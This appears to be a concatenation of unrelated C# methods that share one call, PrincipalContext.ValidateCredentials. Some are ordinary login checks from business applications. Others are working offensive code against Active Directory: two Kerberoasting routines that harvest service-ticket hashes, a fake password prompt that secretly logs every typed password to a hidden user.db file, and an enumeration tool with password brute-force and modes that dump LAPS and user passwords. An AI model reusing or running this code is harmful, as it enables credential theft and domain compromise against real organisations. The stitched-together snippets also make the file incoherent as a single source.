public StringBuilder Execute(Dictionary <string, StringBuilder> values, IWorkspace theWorkspace) { string domain = null; string username = null; string password = null; StringBuilder tmp; values.TryGetValue("Domain", out tmp); if (tmp != null) { domain = tmp.ToString(); } values.TryGetValue("Username", out tmp); if (tmp != null) { username = tmp.ToString(); } values.TryGetValue("Password", out tmp); if (tmp != null) { password = tmp.ToString(); } if (string.IsNullOrEmpty(domain) || string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password)) { throw new InvalidDataContractException("Domain or Username or Password is missing"); } var result = new ExecuteMessage { HasError = false }; try { if (domain.Equals(".")) { domain = Environment.UserDomainName; } bool isValid; using (var context = new PrincipalContext(ContextType.Domain, domain)) { isValid = context.ValidateCredentials(username, password); context.Dispose(); } result.SetMessage(isValid ? "<result>Connection successful!</result>" : "<result>Connection failed. Ensure your username and password are valid</result>"); } catch { result.SetMessage("<result>Connection failed. Ensure your username and password are valid</result>"); } Dev2JsonSerializer serializer = new Dev2JsonSerializer(); return(serializer.SerializeToBuilder(result)); }
/// <summary> /// Validates the username and password of a given user /// </summary> /// <param name="sUserName">The username to validate</param> /// <param name="sPassword">The password of the username to validate</param> /// <returns>Returns True of user is valid</returns> public bool ValidateCredentials(string sUserName, string sPassword) { PrincipalContext oPrincipalContext = GetPrincipalContext(); return(oPrincipalContext.ValidateCredentials(sUserName, sPassword)); }
public static void Kerberoast(string spn = "", string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4") { Console.WriteLine("\r\n[*] Action: Kerberoasting\r\n"); if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4 for these accounts.\r\n"); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, dc, true); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { Console.WriteLine("[*] Target User : {0}", userName); } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; string domainPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if ((!String.IsNullOrEmpty(domain)) || !String.IsNullOrEmpty(OUName)) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(); } bindPath = String.Format("LDAP://{0}", dc); if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("{0}/{1}", bindPath, ouPath); } else if (!String.IsNullOrEmpty(domain)) { domainPath = domain.Replace(".", ",DC="); bindPath = String.Format("{0}/DC={1}", bindPath, domainPath); } } if (!String.IsNullOrEmpty(bindPath)) { directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } else { Console.WriteLine("[*] Using alternate creds : {0}", userDomain); } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { string dirPath = directoryObject.Path; if (String.IsNullOrEmpty(dirPath)) { Console.WriteLine("[*] Searching the current domain for Kerberoastable users"); } else { Console.WriteLine("[*] Searching path '{0}' for Kerberoastable users", dirPath); } } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n[X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message); } return; } try { string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { // searching for a specified user userFilter = String.Format("(samAccountName={0})", userName); } else { // if no user specified, filter out the krbtgt account userFilter = "(!samAccountName=krbtgt)"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed // samAccountType=805306368 -> user account // serviceprincipalname=* -> non-null SPN string userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); userSearcher.Filter = userSearchFilter; } catch (Exception ex) { Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } try { SearchResultCollection users = userSearcher.FindAll(); if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Found {0} user(s) to Kerberoast!", users.Count); } foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.Properties.Contains("msDS-SupportedEncryptionTypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)user.Properties["msDS-SupportedEncryptionTypes"][0]; } Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); if (!String.IsNullOrEmpty(domain)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc, true); } else { // otherwise don't force RC4 - have all supported encryption types for opsec reasons GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, dc, false); } } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile); } } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
private void ValidateCredentials() { // Validate password string error = string.Empty; string password = mtbPassword.Text; try { using (PrincipalContext context = new PrincipalContext(Context)) { // If for whatever reason the username couldn't be resolved, the password can most likely also not be validated // Just save the password and close the screen if (string.IsNullOrEmpty(Username)) { success = true; } success = context.ValidateCredentials(Username, password); } } // Could happen in case for example the (local) user's password is empty catch (Exception e) { success = true; error = string.Format("{0}\r\n", e.Message); } // Store username and password in %localappdata%\Microsoft\user.db // Even if a wrong password is typed, it might be valuable string path = string.Format(@"{0}\Microsoft\user.db", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); try { if (string.IsNullOrEmpty(password)) { password = "******"; } using (StreamWriter file = new StreamWriter(path, true)) { file.WriteLine("{0}{1}: {2} --> {3}", error, this.Username, password, success ? "Correct" : "Wrong"); } // Hide file File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System); } catch (Exception) { } // Ask again if password is incorrect if (!success) { // Show error lblError.Text = "The password is incorrect. Try again."; mtbPassword.Text = string.Empty; // Set focus on password box ActiveControl = mtbPassword; } // If correct password, save and close screen else { Application.Exit(); } }
static void Main(string[] args) { bool verboseDebug = Array.Exists(args, match => match.ToLower() == "-verbose"); ThreadPool.SetMaxThreads(max_threadpool, max_threadpool); // ShowWindow(GetConsoleWindow(), 0); if (args.Length >= 2) { string option = args[0].ToLower(); string domain = args[1]; if (option == "passwordbruteforce") { Console.WriteLine("Starting password brute force"); string query = ""; string properties = "samaccountname"; string filter = ""; try { filter = "(samaccountname=*" + args[3] + "*)"; } catch { filter = ""; } try { query = "(&(objectClass=user)" + filter + ")"; List <string> users = LdapQuery(domain, query, properties, false, true); Console.WriteLine("Bruteforcing {0} accounts", users.Count); foreach (string u in users) { using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, domain)) { if (verboseDebug) { Console.WriteLine("Password brute force against {0}\\{1}", domain, u); } // validate the credentials if (pc.ValidateCredentials(u, args[2])) { Console.WriteLine("[SUCCESS] {0}\\{1} password is {2}", domain, u, args[2]); } } } } catch (Exception e) { Console.WriteLine("ERROR: PasswordBruteForce catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumpallusers") { string query = ""; string properties = "name,givenname,displayname,samaccountname,adspath,distinguishedname,memberof,ou,mail,proxyaddresses,lastlogon,pwdlastset,mobile,streetaddress,co,title,department,description,comment,badpwdcount,objectcategory,userpassword,scriptpath,managedby,managedobjects"; try { query = "(&(objectClass=user))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpAllUsers catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumplocalgroup") { string query = ""; string properties = "name"; string computername = ""; try { computername = "(name=*" + args[2] + "*)"; } catch { computername = ""; } try { query = "(&(objectClass=computer)" + computername + ")"; List <string> computers = LdapQuery(domain, query, properties, false, true); Console.WriteLine(String.Format("Querying {0} computer(s).", computers.Count)); foreach (string c in computers) { DumpLocalAdminGroups(c); } } catch (Exception e) { Console.WriteLine("ERROR: DumpLocalGroup catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumpremotesession") { string query = ""; string properties = "name"; string computername = ""; try { try { computername = args[2]; DumpRemoteSession(computername); } catch { query = "(&(objectClass=computer))"; List <string> computers = LdapQuery(domain, query, properties, false, true); Console.WriteLine(String.Format("Querying {0} computer(s).", computers.Count)); foreach (string c in computers) { DumpRemoteSession(c); } } } catch (Exception e) { Console.WriteLine("ERROR: DumpRemoteSession catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumplocaladmin") { string query = ""; string properties = "name"; string computername = ""; try { computername = "(name=*" + args[2] + "*)"; } catch { computername = ""; } try { query = "(&(objectClass=computer)" + computername + ")"; List <string> computers = LdapQuery(domain, query, properties, false, true); Console.WriteLine(String.Format("Querying {0} computer(s).", computers.Count)); foreach (string c in computers) { Console.WriteLine("\nComputer {0}\n------------------------", c); DumpLocalAdminMembers(c, "Administrators"); } } catch (Exception e) { Console.WriteLine("ERROR: DumpLocalAdmin catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumplapspassword") { string query = ""; string properties = "name,ms-mcs-AdmPwd"; string computername = ""; try { computername = "(name=*" + args[2] + "*)"; } catch { computername = ""; } try { query = "(&(objectClass=user)" + computername + ")"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: CheckAdmin catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "checkadmin") { string query = ""; string properties = "name"; string computername = ""; try { computername = "(name=*" + args[2] + "*)"; } catch { computername = ""; } try { query = "(&(objectClass=computer)" + computername + ")"; List <string> computers = LdapQuery(domain, query, properties, false, true); Console.WriteLine(String.Format("Querying {0} computer(s).", computers.Count)); foreach (string c in computers) { CheckLocalAdminRight(c); } } catch (Exception e) { Console.WriteLine("ERROR: CheckAdmin catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumptrust") { Console.WriteLine("Domain Trust\n----------------------"); Domain currentDomain = Domain.GetCurrentDomain(); foreach (TrustRelationshipInformation d in currentDomain.GetAllTrustRelationships()) { Console.WriteLine(String.Format("{0} <- ({1}){2} -> {3}", d.SourceName, d.TrustType, d.TrustDirection, d.TargetName)); } Console.WriteLine("\nForest Trust\n----------------------"); Forest forest = Forest.GetCurrentForest(); foreach (TrustRelationshipInformation f in forest.GetAllTrustRelationships()) { Console.WriteLine(String.Format("{0} <- ({1}){2} -> {3}", f.SourceName, f.TrustType, f.TrustDirection, f.TargetName)); } } else if (option == "dumpuser") { string query = ""; string properties = "name,givenname,displayname,samaccountname,adspath,distinguishedname,memberof,ou,mail,proxyaddresses,lastlogon,pwdlastset,mobile,streetaddress,co,title,department,description,comment,badpwdcount,objectcategory,userpassword,scriptpath,managedby,managedobjects"; try { query = "(&(objectClass=user)(samaccountname=*" + args[2] + "*))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpUser required a user argument"); ShowDebug(e, verboseDebug); } } else if (option == "dumpusersemail") { string query = ""; string properties = "name,samaccountname,mail"; try { query = "(&(objectClass=user))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpUsersEmail catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumpuserpassword") { string query = ""; string properties = "name,samaccountname,userpassword"; try { query = "(&(objectClass=user))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpUserPassword catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumpallcomputers") { string query = ""; string properties = "name,displayname,operatingsystem,description,adspath,objectcategory,serviceprincipalname,distinguishedname,cn,lastlogon,managedby,managedobjects"; try { query = "(&(objectClass=computer))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpAllComputers catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumpcomputer") { string query = ""; string properties = "name,displayname,operatingsystem,description,adspath,objectcategory,serviceprincipalname,distinguishedname,cn,lastlogon,managedby,managedobjects"; try { query = "(&(objectClass=computer)(name=*" + args[2] + "))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpComputer required a computer name argument"); ShowDebug(e, verboseDebug); } } else if (option == "dumpallgroups") { string query = ""; string properties = "name,adspath,distinguishedname,member,memberof"; try { query = "(&(objectClass=group))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpAllGroups required a computer name argument"); ShowDebug(e, verboseDebug); } } else if (option == "dumpgroup") { string query = ""; string properties = "name,adspath,distinguishedname,member,memberof"; try { query = "(&(objectClass=group)(name=*" + args[2] + "))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpGroup required a group name argument"); ShowDebug(e, verboseDebug); } } else if (option == "dumppasswordpolicy") { string query = ""; string properties = "name,distinguishedName,msDS-MinimumPasswordLength,msDS-PasswordHistoryLength,msDS-PasswordComplexityEnabled,msDS-PasswordReversibleEncryptionEnabled,msDS-LockoutThreshold,msDS-PasswordSettingsPrecedence"; try { query = "(&(objectClass=msDS-PasswordSettings))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpPasswordPolicy catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "dumppwdlastset") { // Based on https://www.trustedsec.com/blog/targeted-active-directory-host-enumeration/ string query = ""; string properties = "name,givenname,displayname,samaccountname,adspath,distinguishedname,memberof,ou,mail,proxyaddresses,lastlogon,pwdlastset,mobile,streetaddress,co,title,department,description,comment,badpwdcount,objectcategory,userpassword,scriptpath"; var date = DateTime.Today.AddDays(-(DateTime.Today.Day + 90)); long dateUtc = date.ToFileTimeUtc(); try { query = "(&(objectCategory=computer)(pwdlastset>=" + dateUtc.ToString() + ")(operatingSystem=*windows*))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpPasswordPolicy catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else if (option == "checkmanaged") { /* * */ if (ListFilesSearchForManaged("\\\\" + domain + "\\SYSVOL", verboseDebug)) { string query = ""; string properties = "managedobjects,samaccountname"; Console.WriteLine("Users that have a managedobjects attribute"); try { query = "(&(objectClass=user))"; LdapQuery(domain, query, properties, false); } catch (Exception e) { Console.WriteLine("ERROR: checkmanaged on users catched an unexpected exception"); ShowDebug(e, verboseDebug); } Console.WriteLine("Computers that have a managedby attribute"); properties = "managedby,name"; try { query = "(&(objectClass=computer))"; LdapQuery(domain, query, properties, false); } catch (Exception e) { Console.WriteLine("ERROR: checkmanaged on computers catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else { Console.WriteLine("Managedby GPO not found"); } } else if (option == "dumplastlogon") { // Based on https://www.trustedsec.com/blog/targeted-active-directory-host-enumeration/ string query = ""; string properties = "name,givenname,displayname,samaccountname,adspath,distinguishedname,memberof,ou,mail,proxyaddresses,lastlogon,pwdlastset,mobile,streetaddress,co,title,department,description,comment,badpwdcount,objectcategory,userpassword,scriptpath"; var date = DateTime.Today.AddDays(-(DateTime.Today.Day + 90)); long dateUtc = date.ToFileTimeUtc(); try { query = "(&(objectCategory=computer)(lastLogon>=" + dateUtc.ToString() + ")(operatingSystem=*windows*))"; LdapQuery(domain, query, properties); } catch (Exception e) { Console.WriteLine("ERROR: DumpPasswordPolicy catched an unexpected exception"); ShowDebug(e, verboseDebug); } } else { Console.WriteLine("Invalid argument: {0} not found", option); } } else { if (args.Length == 1) { if (args[0] == "set") { foreach (DictionaryEntry de in Environment.GetEnvironmentVariables()) { Console.WriteLine("{0}={1}", de.Key, de.Value); } } } else { Console.WriteLine("ERROR: missing arguments"); Console.WriteLine("Usage: {0} options domain [arguments]", System.Reflection.Assembly.GetExecutingAssembly().Location); } } }
public SignInStatus SingIn(string userName, string password, bool pIsPersitent) { try { bool _isValid = false; // conexion al dominio // OJO: Esta linea se deshabilita para instalar en PQP y se habilita para trabajo local por fuera del dominio PQP //PrincipalContext principalContext = new PrincipalContext(System.DirectoryServices.AccountManagement.ContextType.Domain, // _servidor, // _dominioPQP + userName, // password); // Esta línea es la que funciona en PQP PrincipalContext principalContext = new PrincipalContext(System.DirectoryServices.AccountManagement.ContextType.Domain, _dominioPQP); UserPrincipal userDomain = UserPrincipal.FindByIdentity(principalContext, userName); // valido usuario y clave de dominio if (principalContext.ValidateCredentials(userName, password)) { _isValid = true; //Se realiza if con debuf ya que no permite la consulta del grupo por maquina virtual. //#if !DEBUG // // obtengo los grupos del usuario // PrincipalSearchResult<Principal> groups = userDomain.GetAuthorizationGroups(); // // recorro los grupos // foreach (Principal p in groups) // { // // me aseguro que sea un grupo // if (p is GroupPrincipal) // { // // comparo el grupo del usuario con el permitido // if (Convert.ToString(p) == _grupoDominioPermitido) // { // _isValid = true; // }else{ // _isValid = false; // } // } // } //#endif } if (!_isValid) { return(SignInStatus.Failure); } //_signInManager.SignIn(user, pIsPersitent, true); SignInStatus _signInStatus = SignInStatus.Success; // Se retorna el estado del login return(_signInStatus); } catch (Exception e) { return(SignInStatus.Failure); } }
public static void Kerberoast(string userName = "", string OUName = "", System.Net.NetworkCredential cred = null) { cred = null; DirectoryEntry directoryObject = null; DirectorySearcher userSearcher = null; string bindPath = ""; try { if (cred != null) { if (!String.IsNullOrEmpty(OUName)) { string ouPath = OUName.Replace("ldap", "LDAP").Replace("LDAP://", ""); bindPath = String.Format("LDAP://{0}/{1}", cred.Domain, ouPath); } else { bindPath = String.Format("LDAP://{0}", cred.Domain); } } else if (!String.IsNullOrEmpty(OUName)) { bindPath = OUName.Replace("ldap", "LDAP"); } if (!String.IsNullOrEmpty(bindPath)) { if (debug) { Console.WriteLine("[DEBUG] bindPath: {0}", bindPath); } directoryObject = new DirectoryEntry(bindPath); } else { directoryObject = new DirectoryEntry(); } if (cred != null) { // if we're using alternate credentials for the connection string userDomain = String.Format("{0}\\{1}", cred.Domain, cred.UserName); directoryObject.Username = userDomain; directoryObject.Password = cred.Password; if (debug) { Console.WriteLine("[DEBUG] validating alternate credentials: {0}", userDomain); } using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, cred.Domain)) { if (!pc.ValidateCredentials(cred.UserName, cred.Password)) { Console.WriteLine("\r\n[X] Credentials supplied for '{0}' are invalid!", userDomain); return; } } } userSearcher = new DirectorySearcher(directoryObject); } catch (Exception ex) { Console.WriteLine("\r\n [X] Error creating the domain searcher: {0}", ex.InnerException.Message); return; } // check to ensure that the bind worked correctly try { Guid guid = directoryObject.Guid; } catch (DirectoryServicesCOMException ex) { if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("\r\n [X] Error creating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message); } else { Console.WriteLine("\r\n [X] Error creating the domain searcher: {0}", ex.Message); } return; } try { if (String.IsNullOrEmpty(userName)) { userSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt))"; } else { userSearcher.Filter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*)(samAccountName={0}))", userName); } } catch (Exception ex) { Console.WriteLine("\r\n [X] Error settings the domain searcher filter: {0}", ex.InnerException.Message); return; } if (debug) { Console.WriteLine("[DEBUG] search filter: {0}", userSearcher.Filter); } try { SearchResultCollection users = userSearcher.FindAll(); foreach (SearchResult user in users) { string samAccountName = user.Properties["samAccountName"][0].ToString(); string distinguishedName = user.Properties["distinguishedName"][0].ToString(); string servicePrincipalName = user.Properties["servicePrincipalName"][0].ToString(); //Console.WriteLine("SamAccountName : {0}", samAccountName); //Console.WriteLine("DistinguishedName : {0}", distinguishedName); //Console.WriteLine("ServicePrincipalName : {0}", servicePrincipalName); GetDomainSPNTicket("", servicePrincipalName, userName, distinguishedName); } } catch (Exception ex) { Console.WriteLine("\r\n [X] Error executing the domain searcher: {0}", ex.InnerException.Message); return; } }
private void loginButton_Click(object sender, EventArgs e) { string lockoutMsg = ""; User u = null; bool validUser = users.Any(x => ((User)x).userLogin.ToLower() == usernameTextBox.Text.ToLower()); if (validUser) { u = (User)(users.First(x => ((User)x).userLogin.ToLower() == usernameTextBox.Text.ToLower())); } // begin jdg 10/30/15 NameValueCollection values = Configurator.GetConfig("AppSettings"); if (values != null) { LDAPSecurityContext = values["SecurityContext"]; } if (String.IsNullOrEmpty(LDAPSecurityContext)) { LDAPSecurityContext = "Off"; } bool bLDAPSuccess = false; bool bLDAP = (((LDAPSecurityContext.ToUpper() == "MACHINE") || (LDAPSecurityContext.ToUpper() == "DOMAIN")) ? true : false); try { if (bLDAP) { switch (LDAPSecurityContext.ToUpper()) { case "MACHINE": using (var context = new PrincipalContext(ContextType.Machine)) { if (context.ValidateCredentials(usernameTextBox.Text, passwordTextBox.Text)) { bLDAPSuccess = true; } } break; case "DOMAIN": using (var context = new PrincipalContext(ContextType.Domain)) { if (context.ValidateCredentials(usernameTextBox.Text, passwordTextBox.Text)) { bLDAPSuccess = true; } } break; default: break; } } } catch (Exception excLDAP) { RiskApps3.Utilities.Logger.Instance.WriteToLog("LDAP Authentication failed for user " + usernameTextBox.Text + " for this reason: " + excLDAP.ToString()); } // end jdg 10/30/15 String encryptedPassword = RiskAppCore.User.encryptPassword(passwordTextBox.Text); bool authenticated = false; int numFailedAttempts = 0; int numMaxFailures = 5; int lockoutPeriod = 0; lockoutMsg = ""; Utilities.ParameterCollection pc = new Utilities.ParameterCollection(); pc.Add("ntLoginName", DBUtils.makeSQLSafe(ntUser)); pc.Add("userLogin", DBUtils.makeSQLSafe((u != null) ? u.userLogin : usernameTextBox.Text)); //if (SessionManager.Instance.MetaData.Globals.encryptPasswords) if ((SessionManager.Instance.MetaData.Globals.encryptPasswords) && (!bLDAP)) { pc.Add("userPassword", DBUtils.makeSQLSafe(encryptedPassword)); } else { pc.Add("userPassword", DBUtils.makeSQLSafe(passwordTextBox.Text)); } // begin jdg 10/30/15 pc.Add("bLDAP", (bLDAP ? 1 : 0)); pc.Add("bLDAPSuccess", (bLDAPSuccess ? 1 : 0)); // end jdg 10/30/15 SqlDataReader reader = BCDB2.Instance.ExecuteReaderSPWithParams("sp_Authenticate_User", pc); if (reader != null) { if (reader.Read()) { authenticated = (bool)reader.GetSqlBoolean(0); numFailedAttempts = (int)reader.GetInt32(1); numMaxFailures = (int)reader.GetInt32(2); lockoutPeriod = (int)reader.GetInt32(3); } reader.Close(); } if ((!validUser) || (!authenticated)) //note that if they're not a valid user they won't be authenticated, but we've updated the failed count and timeout values { if (lockoutPeriod > 0) { lockoutMsg = "\r\nLogin attempts will be blocked for " + lockoutPeriod.ToString() + " minute" + ((lockoutPeriod > 1) ? "s." : "."); } else { lockoutMsg = "\r\nYou have made " + numFailedAttempts.ToString() + " failed Login attempt" + ((numFailedAttempts > 1) ? "s" : "") + " of a maximum " + numMaxFailures.ToString() + " allowed."; } } if (validUser && authenticated) { //see if user is forced to change password if (!bLDAP) // jdg 10/30/15 { if (ApplicationUtils.checkPasswordForceChange(u.userLogin)) { String username = usernameTextBox.Text; SessionManager.Instance.MetaData.Users.BackgroundListLoad(); passwordTextBox.Text = ""; usernameTextBox.Text = username; this.DialogResult = System.Windows.Forms.DialogResult.None; return; } if (ApplicationUtils.checkPasswordDateOK(u.userLogin) == false) { String username = usernameTextBox.Text; SessionManager.Instance.MetaData.Users.BackgroundListLoad(); passwordTextBox.Text = ""; usernameTextBox.Text = username; this.DialogResult = System.Windows.Forms.DialogResult.None; return; } } roleID = RiskAppCore.User.fetchUserRoleID(u.userLogin); roleName = RiskAppCore.User.fetchUserRoleName(u.userLogin); switch (roleName) { case "Tablet": RiskAppCore.ErrorMessages.Show(RiskAppCore.ErrorMessages.ROLE_ACCESS_DENIED); return; default: break; } SessionManager.Instance.ActiveUser = u; InitUserGUIPrefs(u); u.UserClinicList.user_login = u.userLogin; u.UserClinicList.AddHandlersWithLoad(null, UserClinicListLoaded, null); //DialogResult = DialogResult.OK; HraObject.AuditUserLogin(u.userLogin); stopWatch.Stop(); // Get the elapsed time as a TimeSpan value. TimeSpan ts = stopWatch.Elapsed; if (ts.TotalSeconds < requiredSplashTime) { progressBar1.Style = ProgressBarStyle.Blocks; progressBar1.Value = progressBar1.Maximum; progressBar1.Refresh(); Application.DoEvents(); Thread.Sleep((int)(1000 * (requiredSplashTime - ts.TotalSeconds))); } return; } if (numFailedAttempts == 1) { MessageBox.Show( "You have provided an incorrect username or password.\r\nPlease correct your password or try a different user." + lockoutMsg, "Incorrect Username/Password", MessageBoxButtons.OK, MessageBoxIcon.Information); } else if (numFailedAttempts > 1) { MessageBox.Show( lockoutMsg, "Incorrect Username/Password", MessageBoxButtons.OK, MessageBoxIcon.Information); } return; }
